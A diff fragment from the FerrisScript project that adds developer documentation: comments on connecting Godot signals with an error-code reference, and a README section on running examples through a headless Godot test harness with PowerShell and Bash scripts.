+// 6. Connect signals in Godot editor for maximum flexibility
+// 
+// ===== Connecting Signals in Godot =====
+// 
+// In the Godot editor:
+// 1. Select the FerrisScriptNode in the scene tree
+// 2. Go to the "Node" tab (next to Inspector)
+// 3. Click "Signals" section
+// 4. You'll see all declared signals
+// 5. Double-click a signal to connect it to a method
+// 6. Select target node and method
+// 7. Signal will fire when emit_signal() is called
+// 
+// ===== Error Handling =====
+// 
+// Common errors and fixes:
+// 
+// E301: Signal Already Defined
+//   - Don't declare the same signal twice
+// 
+// E302: Signal Not Defined  
+//   - Declare signal before emitting it
+//   - Check spelling of signal name
+// 
+// E303: Parameter Count Mismatch
+//   - Provide all required parameters to emit_signal()
+// 
+// E304: Parameter Type Mismatch
+//   - Use correct types for signal parameters
+//   - Note: i32 can be automatically converted to f32
+// 
+// E501: emit_signal Requires Signal Name
+//   - Always provide signal name as first argument
+// 
+// E502: Signal Name Must Be String
+//   - Signal name must be a string literal

+### Test Harness Runner
+
+Runs FerrisScript examples through the headless Godot test harness.
+
+**PowerShell (Windows)**:
+
+```powershell
+# Run a specific example
+.\scripts\run-tests.ps1 -Script examples/node_query_basic.ferris -Verbose
+
+# Run all examples matching a filter
+.\scripts\run-tests.ps1 -All -Filter "node_query"
+
+# Fast mode: skip rebuild if harness is already built
+.\scripts\run-tests.ps1 -Script examples/hello.ferris -Fast
+
+# Run all examples
+.\scripts\run-tests.ps1 -All
+```
+
+**Bash (Linux/macOS)**:
+
+```bash
+# Run a specific example
+./scripts/run-tests.sh --script examples/node_query_basic.ferris --verbose
+
+# Run all examples matching a filter
+./scripts/run-tests.sh --all --filter "node_query"
+
+# Fast mode: skip rebuild
+./scripts/run-tests.sh --script examples/hello.ferris --fast
+
+# Run all examples
+./scripts/run-tests.sh --all
+```
+
+**What It Does**:
+
+- Builds test harness in release mode (unless `--fast`/`-Fast`)
+- Runs FerrisScript examples through headless Godot
+- Parses output for assertion markers (`✓`, `✗`, `○`)
+- Reports test results with colored output
+- Returns exit code 0 on success, non-zero on failure
+
+**Command-Line Options**:
+
+- `--script PATH` / `-Script PATH`: Run specific example file
+- `--all` / `-All`: Run all examples in workspace
+- `--filter PATTERN` / `-Filter PATTERN`: Filter examples by name pattern
+- `--verbose` / `-Verbose`: Show detailed test output
+- `--fast` / `-Fast`: Skip rebuild, use existing test harness binary
+
+**Assertion Markers**:
+
+Examples include print statements with markers:
+
+- `✓` - Assertion passed (expected behavior confirmed)
+- `✗` - Assertion failed (unexpected behavior detected)
+- `○` - Informational (optional check, no failure if not present)
+
+**Example Output**:
+
+```
+ℹ️  Building test harness in release mode...
+✅ Build complete
+
+ℹ️  Running: cargo run --release --bin ferris-test -- --script examples/node_query_basic.ferris --verbose
+
+Running test: node_query_basic.ferris
+Test result: PASS
+  - ✓ Found Player node
+  - ✓ Found UI node
+  - ✓ Got parent node
+  - ✓ Found OtherChild node
+
+✅ All tests passed!
+```
+
+**Use Cases**:
+
+- Testing examples against real Godot runtime
+- Validating node query functionality
+- Integration testing without manual Godot setup
+- Pre-commit validation of examples
+
+**See Also**:
+
+- [docs/testing/PHASE_1_COMPLETION_REPORT.md](../docs/testing/PHASE_1_COMPLETION_REPORT.md) - Test harness architecture
+- [docs/testing/PHASE_2_COMPLETION_REPORT.md](../docs/testing/PHASE_2_COMPLETION_REPORT.md) - Node query test coverage
